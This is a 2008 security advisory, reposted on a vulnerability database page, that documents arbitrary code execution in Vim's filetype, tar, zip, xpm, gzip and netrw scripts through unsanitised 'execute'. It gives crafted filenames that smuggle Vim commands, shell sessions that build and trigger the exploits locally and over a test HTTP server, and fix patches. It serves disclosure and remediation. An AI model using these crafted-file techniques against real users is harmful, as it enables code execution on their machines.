Lucene search
K

vim-exec.txt

🗓️ 16 Jun 2008 00:00:00Reported by Jan MinarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

Vulnerability in Vim allows arbitrary code execution when opening crafted files. Vim Script usage and quoting concerns lead to this security issue

Code
`1. Summary  
  
Product : Vim -- Vi IMproved  
Version : Tested with 7.1.314 and 6.4  
Impact : Arbitrary code execution  
Wherefrom: Local and remote  
Original : http://www.rdancer.org/vulnerablevim.html  
  
Improper quoting in some parts of Vim written in the Vim Script can lead to  
arbitrary code execution upon opening a crafted file.  
  
  
2. Overview  
  
``Vim is an almost compatible version of the UNIX editor Vi. Many new features  
have been added: multi-level undo, syntax highlighting, command line history,  
on-line help, spell checking, filename completion, block operations, etc.''  
-- VIM 7.1 README.txt  
  
Parts of Vim are written in the Vim script language. A feature of this  
language widely used in the Vim code is the ``execute'' command, an equivalent  
of ``eval'' in some other languages. Throughout Vim, arguments passed to  
``execute'' are not sanitized properly. This can lead to arbitrary code  
execution. We will show several exploits which execute arbitrary code upon  
opening a crafted file with the ex(1), vim(1), or view(1) commands. Only in  
few cases will we explore the possibility of remote exploitation. We will  
present fixes/workarounds to some of the vulnerabilities.  
  
The archive with code that is a part of this advisory can be found at  
``http://www.rdancer.org/vulnerablevim.tar.bz2''.  
  
  
3. Details  
  
3.0. Vim version  
  
In this advisory, we analyse Vim version 7.1.298.  
  
  
3.1. Vim Script in Vim  
  
``The Vim script language is used for the startup vimrc file, syntax files, and  
many other things.''  
-- Vim User Manual, Chapter 41 (usr_41.txt)  
  
How much is Vim Script used throughout Vim?  
  
$ find /usr/local/share/vim -type f -name \*.vim | wc -l  
1037  
$ find /usr/local/share/vim -type f -name \*.vim -exec cat {} \; \  
| wc 2>/dev/null  
149617 710299 6502709  
  
  
  
3.2. The ``execute'' command  
  
:exe[cute] {expr1} .. Executes the string that results from the evaluation  
of {expr1} as an Ex command.  
-- Vim Reference Manual (eval.txt)  
  
``execute'' is similar e.g. to the ``eval'' command of the POSIX shell. As Vim  
Script doesn't allow variables as arguments to commands, only literals,  
``execute'' is very popular:  
  
let a = "vim"  
execute "setfiletype" a " Alternative is cumbersome  
let b = "/path/to/foo"  
execute "split" b " No alternative  
  
Now whereas the setfiletype line can be written as:  
  
if !did_filetype()  
let &l:filetype = a  
endif  
  
There is no alternative for the split command -- execute must be used. Which  
is a pity, because we might not even necessarily have control over the file  
name[1] . Symlinks or shell redirection might be used as a workaround.  
  
  
3.3. Quoting in Vim Script  
  
There is no way to quote Ex command arguments transparently. When sanitizing  
an argument for shell's ``eval'' command, one can simply prepend all single  
quotes with a backslash, prepend and append a single quote, and that's it. In  
Vim, this algorithm has been recently introduced in the form of the  
shellescape() function[2]:  
  
$ ex  
Entering Ex mode. Type "visual" to go to Normal mode.  
:let fmt = "%l o'clock"  
:let fmt_escape = shellescape (fmt)  
:echo fmt_escape  
'%l o'\''clock'  
:echo system ("date +" . fmt_escape)  
6 o'clock  
  
Sanitizing an argument of an Ex command in a generic way is not going to be  
that easy.  
  
  
3.3.1. Three Character Classes  
  
Ex commands don't accept strings for arguments, only bare-words. In other  
words, there is just one level of quoting. It is possible to quote individual  
characters by prepending a backslash. As we can learn in the Vim Reference  
Manual (``cmdline.txt'') we can divide the characters in three classes --  
characters that are treated specially :  
  
(1) *unless* preceded by a backslash  
(2) *when* preceded by a backslash  
(3) when preceded by a *quoted* backslash  
  
  
Example:  
  
Command File written  
------------------------------  
:write % Current file name  
:write \% %  
:write \\% \%  
  
So, now we have to write a piece of code that knows which class the characters  
belong to, and quote them accordingly, right? Not really.  
  
There is a plethora of characters treated in a special way by Vim commands.  
Treatment varies with context. We haven't found a comprehensive description  
which characters are treated specially by which commands, in which way.  
  
  
3.4. Vulnerabilities  
  
3.4.1. Statistics  
  
How many Vim Scripts use ``execute''?:  
  
$ find /usr/local/share/vim -type f -name \*.vim -exec grep -l  
'\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | wc -l  
159  
  
How many ``execute'' statements are there?:  
  
$ find /usr/local/share/vim -type f -name \*.vim -exec grep -h  
'\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | wc -l  
991  
  
Without comments:  
  
$ find /usr/local/share/vim -type f -name \*.vim -exec grep -h  
'\<exe\(c\(u\(te\?\)\?\)\?\)\?\>' {} \; | grep -v '^[[:blank:]]*"' |  
wc -l  
901  
  
  
3.4.2. Exploits  
  
All the exploits are created using the accompanying Makefiles in the respective  
subdirectories. When open in vim (or ex, view), the exploits create a file  
called ``pwned'' in the current directory. To create all the exploits in a  
certain subdirectory, run ``make all'' in that subdirectory. See the respective  
Makefile sources for details.  
  
It is also possible to use the Makefile in the root directory of this archive.  
To test all the exploits, run ``make test''. On an unpatched system, this  
will print a lot of output, and then show a nice table at the end:  
  
$ make test  
<snip>  
-------------------------------------------  
-------- Test results below ---------------  
-------------------------------------------  
filetype.vim  
strong : VULNERABLE  
weak : VULNERABLE  
zipplugin : VULNERABLE  
xpm.vim  
xpm : VULNERABLE  
xpm2 : VULNERABLE  
remote : VULNERABLE  
gzip_vim : VULNERABLE  
netrw : VULNERABLE  
  
Let's approach each vulnerability one by one. Each vulnerability section can  
be read independently of the others, and some of the information is therefore  
repeated.  
  
  
3.4.2.1. filetype.vim (the ``weak'' exploit)  
  
Because this vulnerability requires the exploit file name to contain the  
payload, we have called this the ``weak'' exploit.  
  
  
3.4.2.1.1. Vulnerability  
  
Exploits the execute statements at filetype.vim lines 20, 25 or 31:  
19 au BufNewFile,BufRead  
?\+.orig,?\+.bak,?\+.old,?\+.new,?\+.rpmsave,?\+.rpmnew  
*20 \ exe "doau filetypedetect BufRead " . expand("<afile>:r")  
21 au BufNewFile,BufRead *~  
22 \ let s:name = expand("<afile>") |  
23 \ let s:short = substitute(s:name, '\~$', '', '') |  
24 \ if s:name != s:short && s:short != "" |  
*25 \ exe "doau filetypedetect BufRead " . s:short |  
26 \ endif |  
27 \ unlet s:name |  
28 \ unlet s:short  
29 au BufNewFile,BufRead ?\+.in  
30 \ if expand("<afile>:t") != "configure.in" |  
*31 \ exe "doau filetypedetect BufRead " . expand("<afile>:r") |  
32 \ endif  
  
A (modified) file name is used as an argument to the ``execute'' command  
without proper quoting. Crafted file name can be used to execute arbitrary Vim  
Shell commands. Content of the file is not important.  
  
  
3.4.2.1.2. Exploit  
  
$ cd filetype.vim  
$ EXPLOIT_FLAVOUR=weak make -s clean sploit  
$ readlink exploit  
sploit/README-|so%~  
$ ls pwned  
ls: cannot access pwned: No such file or directory  
$ vim "`readlink exploit`"  
[ Observe the file looks quite normal ]  
$ ls pwned  
pwned  
  
  
3.4.2.1.3. Fix  
  
We attempted a fix along the lines of:  
  
let badchars = "\" |%#\n\t!<"  
[...]  
\ exe "doau filetypedetect BufRead " . escape(expand("<afile>:r"), badchars)  
  
We were not confident we have identified all the metacharacters that need  
quoting, or at least all the characters that must not have been quoted (so we  
could quote all the rest).  
  
  
3.4.2.1.3. Workaround  
  
Comment out affected statements in ``filetype.vim''.  
  
-- autocommand triggered by filename matching pattern (i.e. having the  
right extension)  
-- possible to create valid syntax  
-- menu.lst won't work in usual locations  
  
  
3.4.2.2. filetype.vim (the ``strong'' exploit)  
  
Because this vulnerability works with an innocuously looking filename,  
we have called this the ``strong'' exploit.  
  
  
3.4.2.2.1. Vulnerability  
  
Exploits absent sanitization on line 190, followed by the execute statements at  
filetype.vim lines 181 or 1267:  
  
The code looks in the first five lines for a statement of the form  
``asmsyntax=FOO'', where FOO can contain any characters except Tab and Space.  
FOO is then executed, without any sanitization.  
  
187 let head = " ".getline(1)." ".getline(2)." ".getline(3)." ".getline(4).  
188 \" ".getline(5)." "  
189 if head =~ '\sasmsyntax=\S\+\s'  
*190 let b:asmsyntax = substitute(head,  
'.*\sasmsyntax=\(\S\+\)\s.*','\1', "")  
[... logical flow of the code then jumps to line 181 ...]  
*181 exe "setf " . b:asmsyntax  
[... or line 1267 ...]  
*1267 exe "setf " . b:asmsyntax  
  
In ``filetype.vim'', there are twelve other (non-exploitable) occurrences of  
the ``exe "setf " . some_variable'' idiom:  
  
$ grep '"setf ' filetype.vim  
\ exe "setf " . g:filetype_asa |  
\ exe "setf " . g:filetype_asp |  
exe "setf " . b:asmsyntax  
exe "setf " . a:alt  
\ exe "setf " . g:filetype_prg |  
exe "setf " . g:filetype_m  
exe "setf " . g:filetype_pl  
exe "setf " . g:filetype_inc  
exe "setf " . b:asmsyntax  
exe "setf " . g:filetype_w  
exe "setf " . g:filetype_i  
exe "setf " . g:filetype_p  
exe "setf " . a:name  
exe "setf " . g:filetype_sql  
  
  
3.4.2.2.2. Exploit  
  
$ cd filetype.vim  
$ EXPLOIT_FLAVOUR=strong make -s clean sploit  
$ readlink exploit  
sploit/menu.lst  
$ ls pwned  
ls: cannot access pwned: No such file or directory  
$ vim "`readlink exploit`"  
[ Observe the file is an ordinary menu.lst -- or is it ]  
$ ls pwned  
pwned  
  
The exploit is a valid grub menu.lst, and also a valid Vim Script file. When  
open in Vim (view, ex), the payload is hidden. The exploit will not work when  
placed in ``/boot/grub''. This is because ``filetype.vim'' treats  
``/boot/grub/menu.lst'' specially (``filetype.vim'' line 154).  
  
  
3.4.2.2.3. Remote exploit  
  
We had to alter the payload, because (1) we can't source the remote file  
directly, and (2) the payload is executed twice. The payload is written to a  
temporary file, which is then sourced.  
  
$ cd filetype.vim  
$ make -s clean sploit-remote http-server  
$ fuser -n tcp 31337/tcp  
31337/tcp: 20190  
$ ls pwned  
ls: cannot access pwned: No such file or directory  
$ vim http://localhost:31337/"`readlink exploit`"  
[ Edit, enjoy, quit ]  
$ ls pwned  
pwned  
  
``make test-remote'' and ``make demo-remote'' automate the process.  
  
  
3.4.2.2.4. Fix  
  
Apply the following patch:  
  
--- /usr/local/share/vim/vim71/filetype.vim 2007-07-20 19:32:34.000000000 +0100  
+++ filetype.vim 2007-08-05 23:01:49.000000000 +0100  
@@ -178,16 +178,19 @@  
endif  
endif  
  
- exe "setf " . b:asmsyntax  
+ if !did_filetype()  
+ let &l:filetype = b:asmsyntax  
+ endif  
endfunc  
  
func! s:FTasmsyntax()  
+ let l:badchars = "/\\*?[|<> \t"  
" see if file contains any asmsyntax=foo overrides. If so, change  
" b:asmsyntax appropriately  
let head = " ".getline(1)." ".getline(2)." ".getline(3)." ".getline(4).  
\" ".getline(5)." "  
- if head =~ '\sasmsyntax=\S\+\s'  
- let b:asmsyntax = substitute(head, '.*\sasmsyntax=\(\S\+\)\s.*','\1', "")  
+ if head =~ '\sasmsyntax=[^'.l:badchars.']\+\s'  
+ let b:asmsyntax = substitute(head,  
'.*\sasmsyntax=\([^'.l:badchars.']\+\)\s.*','\1', "")  
elseif ((head =~? '\.title') || (head =~? '\.ident') || (head =~?  
'\.macro') || (head =~? '\.subtitle') || (head =~? '\.library'))  
let b:asmsyntax = "vmasm"  
endif  
@@ -1264,7 +1267,9 @@  
else  
call s:FTasmsyntax()  
if exists("b:asmsyntax")  
- exe "setf " . b:asmsyntax  
+ if !did_filetype()  
+ let &l:filetype = b:asmsyntax  
+ endif  
else  
setf pov  
endif  
  
The if-clause is equivalent to ``setfiletype b:asmsyntax'' (if that were valid  
syntax) -- cf. ``:help setfiletype''.  
  
The sanitization added is based on Vim Reference Manual options.txt, which says  
about the 'syntax' option: ``Only normal file name characters can be used,  
"/\*?[|<>" are illegal.'' It is possible that there are systems on which a  
stricter check is required. A check against a fixed list of possible values  
would be nice, but what if there are user-defined syntax files? -- Could we get  
a list of valid values for an option somehow (portably)?  
  
  
3.4.2.3. tar.vim  
  
``When one edits a *.tar file, this plugin will handle displaying a  
contents page. Select a file to edit by moving the cursor atop  
the desired file, then hit the <return> key. After editing, one may  
also write to the file. Currently, one may not make a new file in  
tar archives via the plugin.''  
  
-- Vim online help (``pi_tar.txt'')  
  
  
3.4.2.3.1. Vulnerability  
  
File name is used in ``execute'' and ``system()'' commands without proper  
sanitization. Opening a tarball with a crafted file name can lead to arbitrary  
code execution. Following are some of the vulnerable statements of  
``tar.vim''. This list is probably incomplete:  
  
99 exe "$put ='".'\"'." Browsing tarfile ".a:tarfile."'"  
107 let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e')  
112 exe "silent r! gzip -d -c ".g:tar_shq.tarfile.g:tar_shq."|  
".g:tar_cmd." -".g:tar_browseoptions." - "  
115 exe "silent r! bzip2 -d -c ".g:tar_shq.tarfile.g:tar_shq."|  
".g:tar_cmd." -".g:tar_browseoptions." - "  
118 exe "silent r! ".g:tar_cmd." -".g:tar_browseoptions."  
".g:tar_shq.tarfile.g:tar_shq  
134 exe "r ".a:tarfile  
169 let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e')  
192 let tarfile=substitute(system("cygpath -u ".tarfile),'\n$','','e')  
199 exe "silent r! gzip -d -c ".g:tar_shq.tarfile.g:tar_shq."|  
".g:tar_cmd." -".g:tar_readoptions." - '".fname."'"  
202 exe "silent r! bzip2 -d -c ".g:tar_shq.tarfile.g:tar_shq."|  
".g:tar_cmd." -".g:tar_readoptions." - '".fname."'"  
205 exe "silent r! ".g:tar_cmd." -".g:tar_readoptions."  
".g:tar_shq.tarfile.g:tar_shq." ".g:tar_shq.fname.g:tar_shq  
208 exe "file tarfile:".fname  
278 call system("gzip -d ".tarfile)  
282 call system("gzip -d ".tarfile)  
287 call system("bzip2 -d ".tarfile)  
303 let dirpath = substitute(system("cygpath ".dirpath),'\n','','e')  
312 exe "w! ".fname  
314 let tarfile = substitute(system("cygpath ".tarfile),'\n','','e')  
319 call system("tar --delete -f '".tarfile."' '".fname."'")  
335 call system(compress)  
351 exe "e! ".tarfile  
  
All the arguments in these statements are derived from the tarball file name,  
with insufficient or absent sanitization.  
  
  
3.4.2.3.2. Exploit  
  
We exploit the statement on the line 99, with a crafted file name. The tarball  
gets sourced. The tarball is also a valid Vim Script file. Its contents is  
arbitrary, as long as the exploit payload is the first archive member.  
  
$ cd tarplugin  
$ make -s clean sploit  
$ readlink exploit  
sploit/foo'|so%|retu|'bar.tar  
$ file -L exploit  
sploit/foo'|so%|retu|'bar.tar: POSIX tar archive  
$ ls pwned  
ls: cannot access pwned: No such file or directory  
$ vim "`readlink exploit`"  
[ Observe the file works like an ordinary tarball would ]  
$ ls pwned  
pwned  
  
For your convenience, running running ``make demo'' and ``make test'' in the  
tarplugin directory will do all the hard work in an interactive, and  
non-interactive way, respectively, and tell you whether the exploit has worked.  
  
  
3.4.2.3.3. Fix  
  
The exploit includes a modified ``tar.vim'' and ``tarPlugin.vim'', fixed as  
much as was needed for the exploit to work.  
  
  
3.4.2.4. zip.vim  
  
``When one edits a *.zip file, this plugin will handle displaying a  
contents page. Select a file to edit by moving the cursor atop  
the desired file, then hit the <return> key. After editing, one may  
also write to the file. Currently, one may not make a new file in  
zip archives via the plugin.''  
  
-- Vim online help (``pi_zip.txt'')  
  
``tar.vim'' and ``zip.vim'' share code and vulnerabilities, and our exploit  
works in a similar manner. This exploit is not full-featured -- as we've shown  
with ``tar.vim'', this wouldn't be difficult to achieve.  
  
  
3.4.2.4.1. Vulnerability  
  
As with ``tar.vim'', there are many execute statements using an insufficiently  
quoted file name as an argument. We exploit the same statement as with  
``tar.vim'' (line 93):  
  
93 exe "$put ='".'\"'." Browsing zipfile ".a:zipfile."'"  
  
  
3.4.2.4.2. Exploit  
  
Our exploit is not feature-full -- we can open the file and see the contents  
listing, but an attempt to open a member, etc., will fail with an error.  
Completing the exploit would be just a matter of adapting from our ``tar.vim''  
exploit.  
  
$ cd zipplugin  
$ make -s clean sploit  
$ readlink exploit  
sploit/foo'|so%|retu|'bar.zip  
$ file -L exploit  
sploit/foo'|so%|retu|'bar.zip: Zip archive data, at least v1.0 to extract  
$ ls pwned  
ls: cannot access pwned: No such file or directory  
$ vim "`readlink exploit`"  
Error detected while processing  
/home/rdancer/vuln/vim71/zipplugin/sploit/foo'|so%|retu|'bar.zip:  
line 1:  
E492: Not an editor command: PK^C^D  
[ Observe the file works like an ordinary tarball would ]  
$ ls pwned  
pwned  
  
The error is caused by the zip file magic number. It doesn't stay on the  
screen for too long though. We could get rid of the error by replacing the  
very first character of the file (the capital P) with a double quote ("), at  
the cost of creating a non-valid zip file. Set the environment variable  
EXPLOIT_ZIP_INVALID to ``invalid'' while running ``make sploit'':  
  
$ EXPLOIT_ZIP_INVALID=invalid make sploit  
  
unzip(1) doesn't have a problem working with such file, and neither does Vim.  
  
For your convenience, running ``make demo'' and ``make test'' in the zipplugin  
directory will do all the hard work in an interactive, and non-interactive way,  
respectively, and tell you whether the exploit has worked.  
  
  
3.4.2.4.3. Fix  
  
The exploit includes a modified ``zip.vim'' and ``zipPlugin.vim'', fixed as  
much as was needed for the exploit to work.  
  
  
3.4.2.5. xpm.vim and xpm2.vim  
  
``xpm.vim'' and ``xmp2.vim'' provide syntax highlighting for X pixmaps. The  
syntax file is loaded for filenames matching *.pm, *.xpm and *.xpm2 (see  
``filetype.vim'' for details). The vulnerable code is executed when Vim runs  
in graphic mode (gvim(1), ``vim -g'').  
  
  
3.4.2.5.1. Vulnerability  
  
We exploit the insufficient sanitization and subsequent execution of a string  
taken from the file contents:  
  
xpm.vim:32 let s = matchstr(getline(i), '".\{-1,}"')  
xpm.vim:[...]  
xpm.vim:43 exe 'syn match xpmValues /'.s.'/'  
  
xmp2.vim:41 let s = getline(i)  
xmp2.vim:42 if match(s,"\!.*$") != -1  
xmp2.vim:43 let s = matchstr(s, "^[^\!]*")  
xmp2.vim:[...]  
xmp2.vim:55 exe 'syn match xpm2Values /'.s.'/'  
  
This might be or might not be the only such vulnerability within ``xpm.vim''  
and ``xpm2.vim''.  
  
  
3.4.2.5.2. Exploit  
  
Note that Vim must be run in graphic mode for the exploit to work, as the  
vulnerable code branch is not run otherwise. The exploit for ``xpm.vim'' is a  
valid X pixmap. The exploit for `xpm2.vim'' is not.  
  
$ cd xpm.vim  
$ make -s clean sploit  
$ readlink exploit  
sploit/exploit.xpm  
$ file -L exploit  
exploit: X pixmap image text  
$ ls pwned  
ls: cannot access pwned: No such file or directory  
$ vim -g "`readlink exploit`"  
[ Edit, enjoy, quit ]  
$ ls pwned  
pwned  
  
For your convenience, running ``make demo'' and ``make test'' in the xpm.vim  
directory will do all the hard work in an interactive, and non-interactive way,  
respectively, and tell you whether the exploit has worked.  
  
For the ``xpm2.vim'' exploit, set the ``EXPLOIT_FLAVOUR'' environment  
variable to ``xpm2'' when running ``make sploit'':  
  
$ EXPLOIT_FLAVOUR=xpm2 make -s clean sploit  
  
You may also use ``make all'' to make all the extensions.  
  
3.4.2.5.3. Remote exploit  
  
In order to exploit remotely, we have had to change our exploitation technique.  
``source %'' doesn't work, as it's apparently not possible to source a http://  
file from within the ``xpm.vim'' script. Without investigating further, we  
altered the ``xpm.vim'' exploit. Adapting the ``xpm2.vim'' exploit and the  
other exploits probably is possible.  
  
$ cd xpm.vim  
$ make -s clean sploit http-server  
$ fuser -n tcp 31337/tcp  
31337/tcp: 20190  
$ ls pwned  
ls: cannot access pwned: No such file or directory  
$ vim -g http://localhost:31337/"`readlink exploit`"  
[ Edit, enjoy, quit ]  
$ ls pwned  
pwned  
  
For your convenience, running ``make demo-remote'' and ``make test-remote'' in  
the xpm.vim directory will do all the hard work in an interactive, and  
non-interactive way, respectively, and tell you whether the exploit has worked.  
  
  
3.4.2.6. gzip.vim  
  
``The plugin installs autocommands to intercept reading and writing of files  
with these extensions: [...] *.Z [...] *.gz [...] *.bz2''  
  
-- Vim Reference Manual (pi_gzip.txt)  
  
3.4.2.6.1. Vulnerability  
  
``autoload/gzip.vim'' lines 128 and 130 use modified file name in an argument  
to ``execute'' without proper sanitization or quoting:  
  
127 if &verbose >= 8  
*128 execute "doau BufReadPost " . expand("%:r")  
129 else  
*130 execute "silent! doau BufReadPost " . expand("%:r")  
131 endif  
  
  
3.4.2.6.2. Exploit  
  
The contents of the file is arbitrary. The exploit uses the archive filename,  
and the original filename stored within the archive (we should use the comment  
field ideally). The exploit is a valid gzip file, and a Vim Script containing  
non-fatal errors. We use the ``silent!'' command in the file name to suppress  
the error messages.  
  
$ cd gzip_vim  
$ make -s clean sploit  
$ readlink exploit  
sploit/foo|sil!so%"bar.gz  
$ file -L exploit  
exploit: gzip compressed data, was "", from Unix, last modified: Fri  
Aug 10 01:49:28 2007  
$ ls pwned  
ls: cannot access pwned: No such file or directory  
$ vim "`readlink exploit`"  
[ The file contents really can be anything ]  
$ ls pwned  
pwned  
  
For your convenience, running ``make demo'' and ``make test'' in the gzip_vim  
directory will do all the hard work in an interactive, and non-interactive way,  
respectively, and tell you whether the exploit has worked.  
  
  
3.4.2.7. Netrw  
  
``Netrw makes reading, writing, and browsing over a network connection easy!  
[...] Netrw supports "transparent" editing of files on other machines using  
urls [...]''  
  
-- Netrw Reference Manual (pi_netrw.txt)  
  
  
3.4.2.7.1. Vulnerability  
  
Opening file with a crafted name from the Netrw directory listing leads to  
arbitrary code execution.  
  
Netrw (.../runtime/autoload/netrw.vim) uses unsound constructs in many places  
-- see the source in We exploit the statement on line 2202. The ``dirname''  
variable contains the name of the file to be opened, while  
``s:netrw_cd_escape'' is set earlier on line 308.:  
  
308 let s:netrw_cd_escape="[]#*$%'\" ?`!&();<>\\"  
[...]  
*2202 exe "e! ".escape(dirname,s:netrw_cd_escape)  
  
The escape() fails in its apparent purpose of sanitizing ``dirname'', because  
``s:netrw_cd_escape'' is incomplete.  
  
  
3.4.2.7.2. Exploit  
  
$ cd netrw  
$ make -s clean sploit  
$ readlink exploit | cat -vT  
./sploit/pi_netrw.txt^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I^I|ne  
w|norm^Ii:q^Vx21^[o:so^Vx25^Vx2a^[ggyG@0  
$ ls pwned  
ls: cannot access pwned: No such file or directory  
$ vim "`dirname "\`readlink exploit\`"`"  
[ Place cursor on ``pi_netrw.txt''. Press <Return>, 'P' or 'o']  
[ Observe that the file looks more or less normal ]  
$ ls pwned  
pwned  
  
For your convenience, running ``make demo'' and ``make test'' in the netrw  
directory will do all the hard work in an interactive, and non-interactive way,  
respectively, and tell you whether the exploit has worked.  
  
For details on the exploit construction, see the file ``exploit_name''.  
  
Note: ``make test'' may hang when run from within vim.  
  
  
3.4.3. Documentation  
  
We have not seen the insecure properties of ``execute'' mentioned in Vim  
documentation. To the contrary, ``execute'' is being used without precautions  
throughout. For example, in ``eval.txt'', a file name is passed to ``execute''  
insecurely:  
  
7238 :function! Write(file)  
7239 : try  
*7240 : execute "write" a:file  
  
  
4. Footnotes  
  
[1] Really a URL -- local file path without a scheme is a special case; we  
haven't explored remote issues, but they might be interesting.  
  
[2] shellescape() was introduced in patch 7.0.111, and is not used at all as  
of version 7.1.298. Naive quoting is in being used instead, throughout the  
code. A typical example from the ``netrwFileHandlers.vim'' file:  
  
*99 exe "!mozilla ".g:netrw_shq.page.g:netrw_shq  
  
``g:netrw_shq'' being the shell quoting character of choice, a single or a  
double quote.  
  
  
5. Copyright  
  
This advisory is Copyright 2008 Jan Minar <[email protected]>  
  
Copying welcome, under the Creative Commons ``Attribution-Share Alike'' License  
http://creativecommons.org/licenses/by-sa/2.0/uk/  
  
Code included herein, and accompanying this advisory, may be copied according to  
the GNU General Public License version 2, or the Vim license. See the  
subdirectory ``licenses''.  
  
Various portions of the accompanying code were written by various parties.  
Those parties may hold copyright, and those portions may be copied according  
to the respective licenses.  
  
  
6. History  
  
2008-05-13 Sent to [email protected], announcing intent to release publicly  
by 2008-06-13  
2008-05-14 Reply from Vim maintainer  
2008-06-13 Sent to: <[email protected]>,  
<[email protected]>, <[email protected]>  
Copy to: <[email protected]>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2008 00:00Current
7.4High risk
Vulners AI Score7.4
43